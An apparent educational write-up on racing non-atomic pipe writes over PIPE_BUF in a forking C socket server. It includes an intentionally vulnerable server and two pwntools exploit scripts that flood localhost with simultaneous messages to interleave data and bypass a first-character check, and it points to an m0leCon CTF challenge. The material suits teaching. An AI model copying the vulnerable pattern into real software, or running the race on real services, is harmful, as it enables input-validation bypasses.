Race condition with fork and pipe

1. Excerpt

The Linux manual page states:

"Pipes and FIFOs (also known as named pipes) provide a unidirectional interprocess channel. A pipe has a read end and a write end. Data written to the write end of a pipe can be read from the read end of pipe."

"POSIX.1 says that writes of less then PIPE_BUF bytes must be atomic: the output data is written to he pipe as a contiguous sequence. Writes of more than PIPE_BUF bytes may be nonatomic: the kernel may interleave the data with data written by other process. POSIX.1 requires PIPE_BUF to be at least 512 bytes. (On Linux, PIPE_BUF is 4096 bytes.)" 

So, we can trigger race condition in it.

2. Example

We have a vulnerable program:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main() {
        int pipefd[2];
        pid_t pid, pid2;
        char write_msg[5000];
        char read_msg[5000];
        if (pipe(pipefd) == -1) {
                perror("pipe");
                exit(EXIT_FAILURE);
        }
        int server_fd, new_socket;
        struct sockaddr_in add;
        int addlen = sizeof(add);
        if ((server_fd = socket(AF_INET, SOCK_STREAM,  0)) == 0) {
                perror("socket failed");
                exit(EXIT_FAILURE);
        }
        add.sin_family = AF_INET;
        add.sin_addr.s_addr = INADDR_ANY;
        add.sin_port = htons(0);
        if (bind(server_fd, (struct sockaddr *)&add, sizeof(add)) < 0) {
                perror("bind failed");
                exit(EXIT_FAILURE);
        }
        if (getsockname(server_fd, (struct sockaddr *)&add, &addlen) < 0) {
                perror("getsockname failed");
                exit(EXIT_FAILURE);
        }
        if (listen(server_fd,50) < 0) {
                perror("listen failed");
                exit(EXIT_FAILURE);
        }
        int port = ntohs(add.sin_port);
        printf("waiting for connections...port: %d\n",port);
        pid = fork();
        if (pid < 0) {
                perror("fork failed");
                exit(EXIT_FAILURE);
        }
        if (pid == 0) { //  child process
                close(pipefd[0]);
                while (true) {
                    if ((new_socket = accept(server_fd, (struct sockaddr *)&add, (socklen_t *)&addlen)) < 0) {
                                perror("accept failed");
                                exit(EXIT_FAILURE);
                        }
                        pid2 = fork();
                        if (pid2 == 0) {
                                printf("New connection accepted\n");
                                int bytes_read;
                                bytes_read = read(new_socket,write_msg,sizeof(write_msg));
                                write(pipefd[1],write_msg,bytes_read);
                                close(new_socket);
                                close(pipefd[1]);
                                break;
                        }
                }
                exit(0);
        }
        // parent process
        close(pipefd[1]);
        while (true) {
                int bytes_read = read(pipefd[0],read_msg,sizeof(read_msg));
                if (bytes_read > 0) {
                        read_msg[bytes_read] = '\0';
                        printf("%s\n\n",read_msg);
                }
        }
        close(pipefd[0]);
}
Explain:
    We call a pipe() to create a pipe() to exchange messages.
    We create a socket and listen connections on the server.
    In the first fork(): 
  • The children process to accepts the connection requests.
                  + Whenever a connection is accepted, a second fork() is called to read and send message to the parent proccess via the pipe.
                 + The second fork() can also handle multipe connection requests.
  • The parent process reads the messages sent from the child process and prints them to the screen.
In the following picture, the left screen shows the server handling the connection when a client (right screen) connects using netcat.

3. Race condition trigger
We can trigger a race condition by sending multiple messages at the same time such that their combined length exceeds PIPE_BUF. The messages received by the server will be interleave.

Exploit code:
from pwn import *
import os
global port,payload
PIPE_BUF = 4096
def send_message(message, sync: threading.Semaphore):
        try:
                p = remote('localhost',port)
                p.send(message)
                sync.acquire()
                p.send(b'\n')
                p.close()
        except:
                pass
sync = threading.Semaphore()
print('port: ')
port = int(input())
print('number of threads: ')
thread = int(input())
payload = [str(_) * PIPE_BUF for _ in range(thread)]
print('starting threads...')
for i in range(thread):
        x = threading.Thread(target=send_message, args=(payload[i].encode(),sync))
        x.start()
print('waiting for data to be sent')
time.sleep(5)
print('triggering race condition')
sync.release(thread)
In this exploit code, threading.Semaphore() is used to ensure that massages are sent at the same time.
Result:

4. Win race condition!
Suppose the input does not allow the character "1" to appear first in the string.

But if the server recieves a string where character "1" appears first, we win race condition!

Yes, it really can be done!


Exploit code:
from pwn import *
import os

global port,payload

PIPE_BUF = 4096
def send_message(message, sync: threading.Semaphore):
        try:
                p = remote('localhost',port)
                p.send(message)
                sync.acquire()
                p.send(b'\n')
                p.close()
        except:
                pass
sync = threading.Semaphore()
print('port: ')
port = int(input())
print('number of threads: ')
thread = int(input())
payload = ["1" * PIPE_BUF for _ in range(thread)]
for i in range(thread):
        payload[i] = str(0)+payload[i]
print('starting threads...')
for i in range(thread):
        x = threading.Thread(target=send_message, args=(payload[i].encode(),sync))
        x.start()
print('waiting for data to be sent')
time.sleep(5)
print('triggering race condition')
sync.release(thread)

5. Read more

Matteo's interesting challenge in m0leCon CTF: Binary.